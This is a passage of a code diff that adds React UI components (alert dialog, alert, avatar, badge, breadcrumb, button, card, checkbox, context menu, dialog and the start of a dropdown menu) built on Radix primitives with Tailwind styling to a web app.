+    </SearchDialog>
+  );
+}

web/app/components/tailwind-indicator.tsx

@@ -0,0 +1,14 @@
+export function TailwindIndicator() {
+  return (
+    <div className="fixed bottom-1 right-1 z-50 flex size-6 items-center justify-center rounded-full bg-gray-800 p-3 font-mono text-xs text-white">
+      <div className="block sm:hidden">xs</div>
+      <div className="hidden sm:block md:hidden lg:hidden xl:hidden 2xl:hidden">
+        sm
+      </div>
+      <div className="hidden md:block lg:hidden xl:hidden 2xl:hidden">md</div>
+      <div className="hidden lg:block xl:hidden 2xl:hidden">lg</div>
+      <div className="hidden xl:block 2xl:hidden">xl</div>
+      <div className="hidden 2xl:block">2xl</div>
+    </div>
+  );
+}

web/app/components/ui/alert-dialog.tsx

@@ -0,0 +1,154 @@
+import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
+import type * as React from "react";
+import { buttonVariants } from "@/components/ui/button";
+import { cn } from "@/lib/utils";
+
+function AlertDialog({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Root>) {
+  return <AlertDialogPrimitive.Root data-slot="alert-dialog" {...props} />;
+}
+
+function AlertDialogTrigger({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Trigger>) {
+  return (
+    <AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />
+  );
+}
+
+function AlertDialogPortal({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Portal>) {
+  return (
+    <AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />
+  );
+}
+
+function AlertDialogOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Overlay>) {
+  return (
+    <AlertDialogPrimitive.Overlay
+      data-slot="alert-dialog-overlay"
+      className={cn(
+        "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Content>) {
+  return (
+    <AlertDialogPortal>
+      <AlertDialogOverlay />
+      <AlertDialogPrimitive.Content
+        data-slot="alert-dialog-content"
+        className={cn(
+          "bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg",
+          className,
+        )}
+        {...props}
+      />
+    </AlertDialogPortal>
+  );
+}
+
+function AlertDialogHeader({
+  className,
+  ...props
+}: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-dialog-header"
+      className={cn("flex flex-col gap-2 text-center sm:text-left", className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogFooter({
+  className,
+  ...props
+}: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-dialog-footer"
+      className={cn(
+        "flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Title>) {
+  return (
+    <AlertDialogPrimitive.Title
+      data-slot="alert-dialog-title"
+      className={cn("text-lg font-semibold", className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Description>) {
+  return (
+    <AlertDialogPrimitive.Description
+      data-slot="alert-dialog-description"
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogAction({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Action>) {
+  return (
+    <AlertDialogPrimitive.Action
+      className={cn(buttonVariants(), className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogCancel({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Cancel>) {
+  return (
+    <AlertDialogPrimitive.Cancel
+      className={cn(buttonVariants({ variant: "outline" }), className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  AlertDialog,
+  AlertDialogPortal,
+  AlertDialogOverlay,
+  AlertDialogTrigger,
+  AlertDialogContent,
+  AlertDialogHeader,
+  AlertDialogFooter,
+  AlertDialogTitle,
+  AlertDialogDescription,
+  AlertDialogAction,
+  AlertDialogCancel,
+};

web/app/components/ui/alert.tsx

@@ -0,0 +1,66 @@
+import { cva, type VariantProps } from "class-variance-authority";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+const alertVariants = cva(
+  "relative w-full rounded-lg border px-4 py-3 text-sm grid has-[>svg]:grid-cols-[calc(var(--spacing)*4)_1fr] grid-cols-[0_1fr] has-[>svg]:gap-x-3 gap-y-0.5 items-start [&>svg]:size-4 [&>svg]:translate-y-0.5 [&>svg]:text-current",
+  {
+    variants: {
+      variant: {
+        default: "bg-card text-card-foreground",
+        destructive:
+          "text-destructive bg-card [&>svg]:text-current *:data-[slot=alert-description]:text-destructive/90",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+    },
+  },
+);
+
+function Alert({
+  className,
+  variant,
+  ...props
+}: React.ComponentProps<"div"> & VariantProps<typeof alertVariants>) {
+  return (
+    <div
+      data-slot="alert"
+      role="alert"
+      className={cn(alertVariants({ variant }), className)}
+      {...props}
+    />
+  );
+}
+
+function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-title"
+      className={cn(
+        "col-start-2 line-clamp-1 min-h-4 font-medium tracking-tight",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AlertDescription({
+  className,
+  ...props
+}: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-description"
+      className={cn(
+        "text-muted-foreground col-start-2 grid justify-items-start gap-1 text-sm [&_p]:leading-relaxed",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Alert, AlertTitle, AlertDescription };

web/app/components/ui/avatar.tsx

@@ -0,0 +1,51 @@
+import { Avatar as AvatarPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Avatar({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
+  return (
+    <AvatarPrimitive.Root
+      data-slot="avatar"
+      className={cn(
+        "relative flex size-8 shrink-0 overflow-hidden rounded-full",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AvatarImage({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
+  return (
+    <AvatarPrimitive.Image
+      data-slot="avatar-image"
+      className={cn("aspect-square size-full", className)}
+      {...props}
+    />
+  );
+}
+
+function AvatarFallback({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
+  return (
+    <AvatarPrimitive.Fallback
+      data-slot="avatar-fallback"
+      className={cn(
+        "bg-muted flex size-full items-center justify-center rounded-full",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Avatar, AvatarImage, AvatarFallback };

web/app/components/ui/badge.tsx

@@ -0,0 +1,46 @@
+import { cva, type VariantProps } from "class-variance-authority";
+import { Slot as SlotPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+const badgeVariants = cva(
+  "inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden",
+  {
+    variants: {
+      variant: {
+        default:
+          "border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90",
+        secondary:
+          "border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90",
+        destructive:
+          "border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
+        outline:
+          "text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+    },
+  },
+);
+
+function Badge({
+  className,
+  variant,
+  asChild = false,
+  ...props
+}: React.ComponentProps<"span"> &
+  VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
+  const Comp = asChild ? SlotPrimitive.Slot : "span";
+
+  return (
+    <Comp
+      data-slot="badge"
+      className={cn(badgeVariants({ variant }), className)}
+      {...props}
+    />
+  );
+}
+
+export { Badge, badgeVariants };

web/app/components/ui/breadcrumb.tsx

@@ -0,0 +1,108 @@
+import { ChevronRight, MoreHorizontal } from "lucide-react";
+import { Slot as SlotPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Breadcrumb({ ...props }: React.ComponentProps<"nav">) {
+  return <nav aria-label="breadcrumb" data-slot="breadcrumb" {...props} />;
+}
+
+function BreadcrumbList({ className, ...props }: React.ComponentProps<"ol">) {
+  return (
+    <ol
+      data-slot="breadcrumb-list"
+      className={cn(
+        "text-muted-foreground flex flex-wrap items-center gap-1.5 text-sm break-words sm:gap-2.5",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbItem({ className, ...props }: React.ComponentProps<"li">) {
+  return (
+    <li
+      data-slot="breadcrumb-item"
+      className={cn("inline-flex items-center gap-1.5", className)}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbLink({
+  asChild,
+  className,
+  ...props
+}: React.ComponentProps<"a"> & {
+  asChild?: boolean;
+}) {
+  const Comp = asChild ? SlotPrimitive.Slot : "a";
+
+  return (
+    <Comp
+      data-slot="breadcrumb-link"
+      className={cn("hover:text-foreground transition-colors", className)}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbPage({ className, ...props }: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="breadcrumb-page"
+      aria-disabled="true"
+      aria-current="page"
+      className={cn("text-foreground font-normal", className)}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbSeparator({
+  children,
+  className,
+  ...props
+}: React.ComponentProps<"li">) {
+  return (
+    <li
+      data-slot="breadcrumb-separator"
+      role="presentation"
+      aria-hidden="true"
+      className={cn("[&>svg]:size-3.5", className)}
+      {...props}
+    >
+      {children ?? <ChevronRight />}
+    </li>
+  );
+}
+
+function BreadcrumbEllipsis({
+  className,
+  ...props
+}: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="breadcrumb-ellipsis"
+      role="presentation"
+      aria-hidden="true"
+      className={cn("flex size-9 items-center justify-center", className)}
+      {...props}
+    >
+      <MoreHorizontal className="size-4" />
+      <span className="sr-only">More</span>
+    </span>
+  );
+}
+
+export {
+  Breadcrumb,
+  BreadcrumbList,
+  BreadcrumbItem,
+  BreadcrumbLink,
+  BreadcrumbPage,
+  BreadcrumbSeparator,
+  BreadcrumbEllipsis,
+};

web/app/components/ui/button.tsx

@@ -0,0 +1,59 @@
+import { cva, type VariantProps } from "class-variance-authority";
+import { Slot as SlotPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+const buttonVariants = cva(
+  "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
+  {
+    variants: {
+      variant: {
+        default:
+          "bg-primary text-primary-foreground shadow-xs hover:bg-primary/90",
+        destructive:
+          "bg-destructive text-white shadow-xs hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
+        outline:
+          "border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50",
+        secondary:
+          "bg-secondary text-secondary-foreground shadow-xs hover:bg-secondary/80",
+        ghost:
+          "hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50",
+        link: "text-primary underline-offset-4 hover:underline",
+      },
+      size: {
+        default: "h-9 px-4 py-2 has-[>svg]:px-3",
+        sm: "h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",
+        lg: "h-10 rounded-md px-6 has-[>svg]:px-4",
+        icon: "size-9",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+      size: "default",
+    },
+  },
+);
+
+function Button({
+  className,
+  variant,
+  size,
+  asChild = false,
+  ...props
+}: React.ComponentProps<"button"> &
+  VariantProps<typeof buttonVariants> & {
+    asChild?: boolean;
+  }) {
+  const Comp = asChild ? SlotPrimitive.Slot : "button";
+
+  return (
+    <Comp
+      data-slot="button"
+      className={cn(buttonVariants({ variant, size, className }))}
+      {...props}
+    />
+  );
+}
+
+export { Button, buttonVariants };

web/app/components/ui/card.tsx

@@ -0,0 +1,92 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Card({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card"
+      className={cn(
+        "border text-card-foreground flex flex-col rounded-xl pb-6 text-sm shadow-sm",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function CardHeader({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-header"
+      className={cn(
+        "@container/card-header grid auto-rows-min grid-rows-[auto_auto] items-start gap-1.5 px-6 pt-6 has-data-[slot=card-action]:grid-cols-[1fr_auto] [.border-b]:pb-6",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function CardTitle({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-title"
+      className={cn("leading-none font-semibold", className)}
+      {...props}
+    />
+  );
+}
+
+function CardDescription({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-description"
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+function CardAction({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-action"
+      className={cn(
+        "col-start-2 row-span-2 row-start-1 self-start justify-self-end",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function CardContent({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-content"
+      className={cn("px-6", className)}
+      {...props}
+    />
+  );
+}
+
+function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-footer"
+      className={cn("flex items-center px-6 [.border-t]:pt-6", className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  Card,
+  CardHeader,
+  CardFooter,
+  CardTitle,
+  CardAction,
+  CardDescription,
+  CardContent,
+};

web/app/components/ui/checkbox.tsx

@@ -0,0 +1,30 @@
+import { CheckIcon } from "lucide-react";
+import { Checkbox as CheckboxPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Checkbox({
+  className,
+  ...props
+}: React.ComponentProps<typeof CheckboxPrimitive.Root>) {
+  return (
+    <CheckboxPrimitive.Root
+      data-slot="checkbox"
+      className={cn(
+        "peer border-input dark:bg-input/30 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:data-[state=checked]:bg-primary data-[state=checked]:border-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive size-4 shrink-0 rounded-[4px] border shadow-xs transition-shadow outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    >
+      <CheckboxPrimitive.Indicator
+        data-slot="checkbox-indicator"
+        className="flex items-center justify-center text-current transition-none"
+      >
+        <CheckIcon className="size-3.5" />
+      </CheckboxPrimitive.Indicator>
+    </CheckboxPrimitive.Root>
+  );
+}
+
+export { Checkbox };

web/app/components/ui/context-menu.tsx

@@ -0,0 +1,250 @@
+import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
+import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function ContextMenu({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Root>) {
+  return <ContextMenuPrimitive.Root data-slot="context-menu" {...props} />;
+}
+
+function ContextMenuTrigger({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Trigger>) {
+  return (
+    <ContextMenuPrimitive.Trigger data-slot="context-menu-trigger" {...props} />
+  );
+}
+
+function ContextMenuGroup({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Group>) {
+  return (
+    <ContextMenuPrimitive.Group data-slot="context-menu-group" {...props} />
+  );
+}
+
+function ContextMenuPortal({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Portal>) {
+  return (
+    <ContextMenuPrimitive.Portal data-slot="context-menu-portal" {...props} />
+  );
+}
+
+function ContextMenuSub({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Sub>) {
+  return <ContextMenuPrimitive.Sub data-slot="context-menu-sub" {...props} />;
+}
+
+function ContextMenuRadioGroup({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.RadioGroup>) {
+  return (
+    <ContextMenuPrimitive.RadioGroup
+      data-slot="context-menu-radio-group"
+      {...props}
+    />
+  );
+}
+
+function ContextMenuSubTrigger({
+  className,
+  inset,
+  children,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.SubTrigger> & {
+  inset?: boolean;
+}) {
+  return (
+    <ContextMenuPrimitive.SubTrigger
+      data-slot="context-menu-sub-trigger"
+      data-inset={inset}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      <ChevronRightIcon className="ml-auto" />
+    </ContextMenuPrimitive.SubTrigger>
+  );
+}
+
+function ContextMenuSubContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.SubContent>) {
+  return (
+    <ContextMenuPrimitive.SubContent
+      data-slot="context-menu-sub-content"
+      className={cn(
+        "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Content>) {
+  return (
+    <ContextMenuPrimitive.Portal>
+      <ContextMenuPrimitive.Content
+        data-slot="context-menu-content"
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-context-menu-content-available-height) min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md",
+          className,
+        )}
+        {...props}
+      />
+    </ContextMenuPrimitive.Portal>
+  );
+}
+
+function ContextMenuItem({
+  className,
+  inset,
+  variant = "default",
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Item> & {
+  inset?: boolean;
+  variant?: "default" | "destructive";
+}) {
+  return (
+    <ContextMenuPrimitive.Item
+      data-slot="context-menu-item"
+      data-inset={inset}
+      data-variant={variant}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.CheckboxItem>) {
+  return (
+    <ContextMenuPrimitive.CheckboxItem
+      data-slot="context-menu-checkbox-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      checked={checked}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <ContextMenuPrimitive.ItemIndicator>
+          <CheckIcon className="size-4" />
+        </ContextMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </ContextMenuPrimitive.CheckboxItem>
+  );
+}
+
+function ContextMenuRadioItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.RadioItem>) {
+  return (
+    <ContextMenuPrimitive.RadioItem
+      data-slot="context-menu-radio-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <ContextMenuPrimitive.ItemIndicator>
+          <CircleIcon className="size-2 fill-current" />
+        </ContextMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </ContextMenuPrimitive.RadioItem>
+  );
+}
+
+function ContextMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Label> & {
+  inset?: boolean;
+}) {
+  return (
+    <ContextMenuPrimitive.Label
+      data-slot="context-menu-label"
+      data-inset={inset}
+      className={cn(
+        "text-foreground px-2 py-1.5 text-sm font-medium data-[inset]:pl-8",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Separator>) {
+  return (
+    <ContextMenuPrimitive.Separator
+      data-slot="context-menu-separator"
+      className={cn("bg-border -mx-1 my-1 h-px", className)}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuShortcut({
+  className,
+  ...props
+}: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="context-menu-shortcut"
+      className={cn(
+        "text-muted-foreground ml-auto text-xs tracking-widest",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export {
+  ContextMenu,
+  ContextMenuTrigger,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuCheckboxItem,
+  ContextMenuRadioItem,
+  ContextMenuLabel,
+  ContextMenuSeparator,
+  ContextMenuShortcut,
+  ContextMenuGroup,
+  ContextMenuPortal,
+  ContextMenuSub,
+  ContextMenuSubContent,
+  ContextMenuSubTrigger,
+  ContextMenuRadioGroup,
+};

web/app/components/ui/dialog.tsx

@@ -0,0 +1,141 @@
+import { XIcon } from "lucide-react";
+import { Dialog as DialogPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Dialog({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Root>) {
+  return <DialogPrimitive.Root data-slot="dialog" {...props} />;
+}
+
+function DialogTrigger({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Trigger>) {
+  return <DialogPrimitive.Trigger data-slot="dialog-trigger" {...props} />;
+}
+
+function DialogPortal({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Portal>) {
+  return <DialogPrimitive.Portal data-slot="dialog-portal" {...props} />;
+}
+
+function DialogClose({
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Close>) {
+  return <DialogPrimitive.Close data-slot="dialog-close" {...props} />;
+}
+
+function DialogOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Overlay>) {
+  return (
+    <DialogPrimitive.Overlay
+      data-slot="dialog-overlay"
+      className={cn(
+        "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DialogContent({
+  className,
+  children,
+  showCloseButton = true,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Content> & {
+  showCloseButton?: boolean;
+}) {
+  return (
+    <DialogPortal data-slot="dialog-portal">
+      <DialogOverlay />
+      <DialogPrimitive.Content
+        data-slot="dialog-content"
+        className={cn(
+          "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg",
+          className,
+        )}
+        {...props}
+      >
+        {children}
+        {showCloseButton && (
+          <DialogPrimitive.Close
+            data-slot="dialog-close"
+            className="ring-offset-background focus:ring-ring data-[state=open]:bg-accent data-[state=open]:text-muted-foreground absolute top-4 right-4 rounded-xs opacity-70 transition-opacity hover:opacity-100 focus:ring-2 focus:ring-offset-2 focus:outline-hidden disabled:pointer-events-none [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4"
+          >
+            <XIcon />
+            <span className="sr-only">Close</span>
+          </DialogPrimitive.Close>
+        )}
+      </DialogPrimitive.Content>
+    </DialogPortal>
+  );
+}
+
+function DialogHeader({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="dialog-header"
+      className={cn("flex flex-col gap-2 text-center sm:text-left", className)}
+      {...props}
+    />
+  );
+}
+
+function DialogFooter({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="dialog-footer"
+      className={cn(
+        "flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DialogTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Title>) {
+  return (
+    <DialogPrimitive.Title
+      data-slot="dialog-title"
+      className={cn("text-lg leading-none font-semibold", className)}
+      {...props}
+    />
+  );
+}
+
+function DialogDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof DialogPrimitive.Description>) {
+  return (
+    <DialogPrimitive.Description
+      data-slot="dialog-description"
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogOverlay,
+  DialogPortal,
+  DialogTitle,
+  DialogTrigger,
+};

web/app/components/ui/dropdown-menu.tsx

@@ -0,0 +1,255 @@
+import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
+import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function DropdownMenu({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
+  return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
+}
+
+function DropdownMenuPortal({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Portal>) {
+  return (
+    <DropdownMenuPrimitive.Portal data-slot="dropdown-menu-portal" {...props} />
+  );
+}
+
+function DropdownMenuTrigger({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Trigger>) {
+  return (
+    <DropdownMenuPrimitive.Trigger
+      data-slot="dropdown-menu-trigger"
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuContent({
+  className,
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
+  return (
+    <DropdownMenuPrimitive.Portal>
+      <DropdownMenuPrimitive.Content
+        data-slot="dropdown-menu-content"
+        sideOffset={sideOffset}
+        className={cn(
